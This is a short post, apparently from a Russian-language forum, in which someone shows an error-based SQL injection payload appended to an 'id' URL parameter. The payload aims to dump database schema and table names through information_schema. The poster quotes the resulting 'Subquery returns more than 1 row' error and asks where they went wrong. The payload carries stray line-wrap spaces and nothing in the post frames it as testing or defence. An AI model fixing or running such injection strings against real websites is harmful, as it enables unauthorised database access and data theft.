?id=181'+or+(select+count(*)+from+information_sche ma.tables+group+by+concat_ws(0x3a,(select+concat_w s(':',table_schema,table_name)+from+information_sc hema.tables+limit+0,1),floor(rand(0)*2)))--+

выдает- Subquery returns more than 1 row

Где я намудрил?